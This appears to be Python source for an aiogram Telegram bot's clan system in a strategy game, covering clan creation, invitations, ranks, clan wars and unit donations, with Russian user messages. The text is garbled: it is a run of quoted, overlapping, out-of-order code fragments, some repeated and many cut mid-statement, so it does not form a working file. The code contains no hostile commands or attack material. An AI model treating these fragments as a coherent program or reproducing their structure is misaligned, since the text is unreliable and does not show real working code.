session.filter_by_user_id(", "await callback.message.answer_sticker(sticker=sticker) await callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard ) clan_member.donate_timer = timer.Timer.set_timer(28800) session.db.commit() await", "= data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session", "set_clan_description(message: types.Message, state: FSMContext): data = await state.get_data() user_id = message.from_user.id if message.reply_to_message.message_id", "await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def clan_getting_units_handler(callback: types.CallbackQuery,", "msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await callback.message.answer( text=msg_text.format( clan.emoji, clan.name, clan.description[:21], clan.rating, len(clan_members),", "callback.data == \"clan_members\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text = read_txt_file(\"text/clan/members\") clan_members_msg = await", "keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg = await message.answer( text=\"Выберите <b>логотип</b> вашего клана.\", reply_markup=keyboard", "clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg =", "= read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first()", "ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\") async def clan_command_handler(message: types.Message, state: FSMContext): user_id = message.from_user.id session", "await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) else: msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest", "session.filter_by_user_id( user_id=replied_user.id, table=tables.User) invited_clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if invited_user_table is", "= session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings = session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl == 0: sticker", "= callback.data new_clan = tables.Clan( name=clan_name, description=clan_description, emoji=clan_emoji, rating=0, money=0, units=0, creator=user_id )", "session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if callback.data == \"create_clan\": if townhall.money >= 5000: townhall.money -= 5000", "reply_markup=keyboard ) await state.update_data({ \"clan_members_msg\": clan_members_msg }) elif callback.data == \"clan_settings\": await callback.answer(\"В", "1 for clan in clan_table[:10]: text += \"{}. <b>{}</b> [ <code>{}</code> ⭐ ]\\n\".format(clan_num,", "data = await state.get_data() user_id = message.from_user.id if message.reply_to_message.message_id == data.get(\"message_id\"): clan_description =", "loader import dp from aiogram import types from aiogram.dispatcher import filters from aiogram", "reply_markup=keyboards.clan.kb_none_clan ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() return clan_members: typing.List[tables.ClanMember]", "townhall.money -= 5000 else: await callback.answer( \"Для создания клана не хватает {} 💰\".format(", "new_clan_member = tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank, contest_score=0, clan_units=0, units_donate=0, donate_timer=0 ) session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by(", "= tables.ClanMember( clan_id=clan_invitation_table.clan_id, user_id=user_id, rank=rank, contest_score=0, clan_units=0, units_donate=0, donate_timer=0 ) session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete()", "\"🌞\", \"🌻\", \"🌹\", \"☠\", \"🥀\", \"🦄\", \"🐙\", \"🎃\", \"👾\", \"🔱\" ] session =", "callback.message.answer_sticker(sticker=sticker) await callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard ) clan_member.donate_timer = timer.Timer.set_timer(28800) session.db.commit() await callback.answer()", "tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg", "state: FSMContext): user_id = message.from_user.id session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first()", "states.Clan.set_name.set() elif callback.data == \"clans_rating\": clan_table: typing.List[tables.Clan] = session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text = \"\"", "reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state = None await callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async def set_clan_name(message:", "callback.from_user.id emojis = [ \"❤\", \"‍🔥\", \"💖\", \"🍩\", \"🌶\", \"💩\", \"💧\", \"🌈\", \"🌞\",", "callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if callback.data == \"create_clan\":", "clan_name, \"message_id\": clan_msg.message_id }) await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async def set_clan_description(message: types.Message, state:", "await message.answer_sticker(sticker=sticker) msg_text = read_txt_file(\"text/clan/destroyed_clan\") await message.answer( text=msg_text, ) session.close() return if clan_member", "message.from_user.id replied_user = message.reply_to_message.from_user session = db_api.CreateSession() clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=user_id, table=tables.ClanMember", "session.db.add(new_clan) session.db.commit() clan: tables.Clan = session.db.query( tables.Clan).filter_by(creator=user_id).first() if clan is not None: new_clan_member", "return clan_msg = await clan_msg.edit_text( text=\"Придумайте <b>название</b> для своего\\n\" \"клана. (макс. 16 символов)\\n\"", ">= 5000: townhall.money -= 5000 else: await callback.answer( \"Для создания клана не хватает", "tables.Buildings = session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl == 0: sticker = read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker)", "clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back)", "user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif callback.data == \"leave_clan\": await clan_msg.edit_text( text=\"Вы", "clan.emoji, clan.name, clan.description[:21], clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.reset_state(with_data=True) await state.set_data({", "tables.ClanMember = session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember ) invited_user_table: tables.User = session.filter_by_user_id( user_id=replied_user.id, table=tables.User) invited_clan_invitation_table:", "read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker) await callback.message.answer( text=msg_text.format(townhall.country_name, callback.from_user.get_mention()), reply_markup=keyboard ) clan_member.donate_timer = timer.Timer.set_timer(28800) session.db.commit()", "await state.update_data({ \"clan_name\": clan_name, \"message_id\": clan_msg.message_id }) await states.Clan.set_description.set() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_description) async def", "return await callback.answer(msg_text) session = db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if callback.data", "reply_markup=keyboards.clan.kb_leave_clan ) elif callback.data == \"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan", "msg_text = read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) else: msg_text = read_txt_file(\"text/clan/none_contest\") await", "clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if invited_user_table is None or invited_clan_invitation_table is not None: return if", ") await state.update_data({ \"set_emoji_msg\": set_emoji_msg }) await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji) async def set_clan_emoji(callback: types.CallbackQuery,", "session.db.commit() clan: tables.Clan = session.db.query( tables.Clan).filter_by(creator=user_id).first() if clan is not None: new_clan_member =", "<b>название</b> для своего\\n\" \"клана. (макс. 16 символов)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await", "\"☠\", \"🥀\", \"🦄\", \"🐙\", \"🎃\", \"👾\", \"🔱\" ] session = db_api.CreateSession() if callback.data", "import ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\") async def clan_command_handler(message: types.Message, state: FSMContext): user_id = message.from_user.id", "callback.from_user.get_mention()), reply_markup=keyboard ) clan_member.donate_timer = timer.Timer.set_timer(28800) session.db.commit() await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async def", "= int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator == user_id: rank =", "tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings = session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl == 0: sticker = read_txt_file(\"sticker/sad_knight\")", "def clan_command_handler(message: types.Message, state: FSMContext): user_id = message.from_user.id session = db_api.CreateSession() clan_member: tables.ClanMember", "text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.update_data({ \"user_id\":", "async def clan_menu_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id", "tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text = read_txt_file(\"text/clan/member\") await", "utils.db_api import tables, db_api from utils.classes import kb_constructor, timer from sqlalchemy import desc,", "clan_getting_units_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id if data.get(\"user_id\")", "read_txt_file(\"text/clan/members\") clan_members_msg = await clan_msg.edit_text( text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21], len(clan_members), ), reply_markup=keyboard ) await", "tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator == user_id: rank = \"Лидер\" else: rank", ") session.db.add(new_clan) session.db.commit() clan: tables.Clan = session.db.query( tables.Clan).filter_by(creator=user_id).first() if clan is not None:", "regexp=ClanRegexp.invite, state=\"*\") async def invite_user_clan_handler(message: types.Message): user_id = message.from_user.id replied_user = message.reply_to_message.from_user session", "tables.Clan).filter(and_( tables.Clan.state == \"search\", tables.Clan.clan_id != clan_member.clan_id)).all() if callback.data == \"clan_war\": if clan_member.clan.state", "reply_markup=keyboards.clan.kb_back ) session.close() return msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest ) elif", "timer.Timer.set_timer(28800) session.db.commit() await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async def clan_members_handler(callback: types.CallbackQuery, state: FSMContext): data", "= await message.reply( text=\"Придумайте <b>описание</b> для \\n\" \"клана. (макс. 21 символ)\\n\" \"<i>Ответив на", "clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_invitation_keyboard(invitation_id=invitation_id) await clan_msg.edit_text( text=\"{}\\n\\n\" \"Рейтинг:", "= session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text = \"\" clan_num = 1 for clan in clan_table[:10]:", "state: FSMContext): data = await state.get_data() user_id = message.from_user.id if message.reply_to_message.message_id == data.get(\"message_id\"):", "text=\"Выберите <b>логотип</b> вашего клана.\", reply_markup=keyboard ) await state.update_data({ \"set_emoji_msg\": set_emoji_msg }) await states.Clan.set_emoji.set()", "= data.get(\"clan_name\") clan_description = data.get(\"clan_description\") clan_emoji = callback.data new_clan = tables.Clan( name=clan_name, description=clan_description,", "\"Осталось: \".format(clan_invitation_table.clan.name), reply_markup=keyboard ) elif accept_invitation: invitation_id = int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query(", "= int(page_move) keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try: msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text,", "= session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if callback.data == \"create_clan\": if townhall.money >= 5000: townhall.money -=", "= await state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") clan_members_msg: types.Message =", "session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data == \"start_search_contest\": msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest", "db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if callback.data", "new_contest = tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"], log=[\"Война началась.\"], state_timer=None, territory_names=[\"Russia\", \"Germany\"], territory_owners=[None,", "== \"clan_invitation\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg = await clan_msg.edit_text(", "table=tables.User) invited_clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if invited_user_table is None or", "clan_msg.edit_text( text=\"Придумайте <b>название</b> для своего\\n\" \"клана. (макс. 16 символов)\\n\" \"<i>Ответив на это сообщение.</i>\"", "clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"], log=[\"Война началась.\"], state_timer=None, territory_names=[\"Russia\", \"Germany\"], territory_owners=[None, None], territory_units=[0, 0], territory_captures=[None,", "@dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async def set_clan_name(message: types.Message, state: FSMContext): data = await state.get_data() if", "text=msg_text, ) session.close() return if clan_member is None: msg_text = read_txt_file(\"text/clan/without_clan\") clan_msg =", "session.db.commit() await clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan ) elif callback.data == \"no_leave_clan\": await clan_msg.edit_text( text=clan_msg.html_text,", "if clan_member is None: msg_text = read_txt_file(\"text/clan/without_clan\") clan_msg = await message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan", "if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession()", "reply_markup=keyboard ) elif kick_member: member_id = int(kick_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if", "if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) invitation = re.findall(r\"open_invitation_(\\d+)\",", "session.db.commit() await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.member) async def clan_members_handler(callback: types.CallbackQuery, state: FSMContext): data =", "== \"start_search_contest\": msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state = \"search\"", "set_emoji_msg.delete() clan_name = data.get(\"clan_name\") clan_description = data.get(\"clan_description\") clan_emoji = callback.data new_clan = tables.Clan(", "!= user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, )", "= read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def", "\"ending\": msg_text = read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) else: msg_text = read_txt_file(\"text/clan/none_contest\")", "= await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await state.update_data({ \"clan_invitation_msg\": clan_invitation_msg }) await callback.answer()", "member_id = int(kick_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"):", "checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank !=", "= session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember ) invited_user_table: tables.User = session.filter_by_user_id( user_id=replied_user.id, table=tables.User) invited_clan_invitation_table: tables.ClanInvitation", "@dp.callback_query_handler(regexp=ClanRegexp.member) async def clan_members_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id =", "session.filter_by_user_id( user_id=user_id, table=tables.ClanMember ) if clan_member_table is None: return if clan_member_table.rank in (\"Лидер\",", "checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text = read_txt_file(\"text/clan/member\")", "tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if callback.data == \"get_clan_units\": if clan_member.donate_timer != 0: await", "await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async def clan_contest_handler(callback: types.CallbackQuery,", "== \"clan_members\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text = read_txt_file(\"text/clan/members\") clan_members_msg = await clan_msg.edit_text(", "types.Message): user_id = message.from_user.id replied_user = message.reply_to_message.from_user session = db_api.CreateSession() clan_member_table: tables.ClanMember =", "= session.filter_by_user_id( user_id=user_id, table=tables.ClanMember ) if clan_member_table is None: return if clan_member_table.rank in", "cancel_invitation: invitation_id = int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text =", "session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async def clan_menu_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id", "user_id = callback.from_user.id if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text)", "checked_clan_member.contest_score, checked_clan_member.rank, ), reply_markup=keyboard ) elif raise_member: member_id = int(raise_member[0]) checked_clan_member: tables.ClanMember =", "not None: return if (invited_clan_member_table is None) and (not replied_user.is_bot): time_set = timer.Timer.set_timer(86400)", "= callback.from_user.id if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session", "= data.get(\"clan_msg\") clan_members_msg: types.Message = data.get(\"clan_members_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\")", "user_id = message.from_user.id if message.reply_to_message.message_id == data.get(\"message_id\"): clan_description = message.text[:21] await state.update_data({ \"clan_description\":", "await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard ) elif kick_member: member_id = int(kick_member[0]) checked_clan_member: tables.ClanMember =", "return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember]", "clans_search: typing.List[tables.Clan] = session.db.query( tables.Clan).filter(and_( tables.Clan.state == \"search\", tables.Clan.clan_id != clan_member.clan_id)).all() if callback.data", "= kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text = read_txt_file(\"text/clan/member\") await clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank,", "def invite_user_clan_handler(message: types.Message): user_id = message.from_user.id replied_user = message.reply_to_message.from_user session = db_api.CreateSession() clan_member_table:", "clan_units=0, units_donate=0, donate_timer=0 ) session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() await callback.answer(\"Вы вступили в клан!\")", "types.Message = data.get(\"clan_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text)", "= callback.from_user.id emojis = [ \"❤\", \"‍🔥\", \"💖\", \"🍩\", \"🌶\", \"💩\", \"💧\", \"🌈\",", "session.close() return if clan_member is None: msg_text = read_txt_file(\"text/clan/without_clan\") clan_msg = await message.answer(", "clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User =", "data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message = data.get(\"clan_msg\") if data.get(\"user_id\")", "len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close()", "clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if callback.data == \"get_clan_units\": if clan_member.donate_timer != 0:", "user_id=user_id).create_members_keyboard() msg_text = read_txt_file(\"text/clan/members\") clan_members_msg = await clan_msg.edit_text( text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21], len(clan_members), ),", "import re import random from loader import dp from aiogram import types from", "tables.ClanMember).filter_by(user_id=user_id).first() if callback.data == \"get_clan_units\": if clan_member.donate_timer != 0: await callback.answer(\"Станет доступно позже.\")", "member_id = int(raise_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"):", "] session = db_api.CreateSession() if callback.data in emojis: set_emoji_msg: types.Message = data.get(\"set_emoji_msg\") await", "clan.name, clan.description[:21], clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.reset_state(with_data=True) await state.set_data({ \"user_id\":", "else: await callback.answer( \"Для создания клана не хватает {} 💰\".format( 5000 - townhall.money)", "townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if callback.data == \"create_clan\": if townhall.money >= 5000:", "= int(raise_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if", "data.get(\"clan_members_msg\") if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session =", "data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() townhall:", "typing import keyboards import states import re import random from loader import dp", "символов)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"message_id\": clan_msg.message_id }) await states.Clan.set_name.set()", "exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async def clan_invitation_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data()", "text = \"\" clan_num = 1 for clan in clan_table[:10]: text += \"{}.", "set_clan_name(message: types.Message, state: FSMContext): data = await state.get_data() if message.reply_to_message.message_id == data.get(\"message_id\"): clan_name", "= message.reply_to_message.from_user session = db_api.CreateSession() clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=user_id, table=tables.ClanMember ) if", "invitation_id = int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\")", ") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def clan_getting_units_handler(callback: types.CallbackQuery, state: FSMContext): data =", "= session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await message.answer(", "msg_text = read_txt_file(\"text/clan/members\") clan_members_msg = await clan_msg.edit_text( text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21], len(clan_members), ), reply_markup=keyboard", "создания клана не хватает {} 💰\".format( 5000 - townhall.money) ) session.close() return clan_msg", "session.close() return clan_msg = await clan_msg.edit_text( text=\"Придумайте <b>название</b> для своего\\n\" \"клана. (макс. 16", "tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan] = session.db.query(", "clan_num += 1 msg_text = read_txt_file(\"text/clan/rating\") await clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back ) elif callback.data", "\"leave_clan\": await clan_msg.edit_text( text=\"Вы уверены,\\n что хотите покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan ) elif callback.data", "def none_clan_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg:", "!= clan_member.clan_id)).all() if callback.data == \"clan_war\": if clan_member.clan.state == \"search\": if clans_search: clan_1:", "message.from_user.id if message.reply_to_message.message_id == data.get(\"message_id\"): clan_description = message.text[:21] await state.update_data({ \"clan_description\": clan_description, })", "in clan_table[:10]: text += \"{}. <b>{}</b> [ <code>{}</code> ⭐ ]\\n\".format(clan_num, clan.name, clan.rating) clan_num", "await message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close()", "= read_txt_file(\"text/clan/rating\") await clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back ) elif callback.data == \"clan_invitation\": keyboard =", "началась.\"], state_timer=None, territory_names=[\"Russia\", \"Germany\"], territory_owners=[None, None], territory_units=[0, 0], territory_captures=[None, None], clans_rating=[0, 0], colors=[\"blue\",", "accept_invitation: invitation_id = int(accept_invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator == user_id:", "== \"contest\": msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) elif clan_member.clan.state ==", "keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try: msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard )", "\"clans_rating\": clan_table: typing.List[tables.Clan] = session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text = \"\" clan_num = 1 for", "replied_user = message.reply_to_message.from_user session = db_api.CreateSession() clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=user_id, table=tables.ClanMember )", ") elif callback.data == \"clan_members\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() msg_text = read_txt_file(\"text/clan/members\") clan_members_msg", "= db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data == \"start_search_contest\": msg_text =", "]\\n\".format(clan_num, clan.name, clan.rating) clan_num += 1 msg_text = read_txt_file(\"text/clan/rating\") await clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back", "= int(clan_member_id[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member) msg_text", "клан?\", reply_markup=keyboards.clan.kb_leave_clan ) elif callback.data == \"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await clan_msg.edit_text( text=\"Клан\",", "if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) await clan_msg.edit_text( text=clan_msg.html_text,", "== 0: sticker = read_txt_file(\"sticker/sad_knight\") await message.answer_sticker(sticker=sticker) msg_text = read_txt_file(\"text/clan/destroyed_clan\") await message.answer( text=msg_text,", "callback.answer(\"Станет доступно позже.\") session.close() return msg_text = read_txt_file(\"text/clan/get_clan_units\") keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker", "clan_member_table is None: return if clan_member_table.rank in (\"Лидер\", \"Заместитель\", \"Старейшина\"): invited_clan_member_table: tables.ClanMember =", "from utils.classes.regexps import 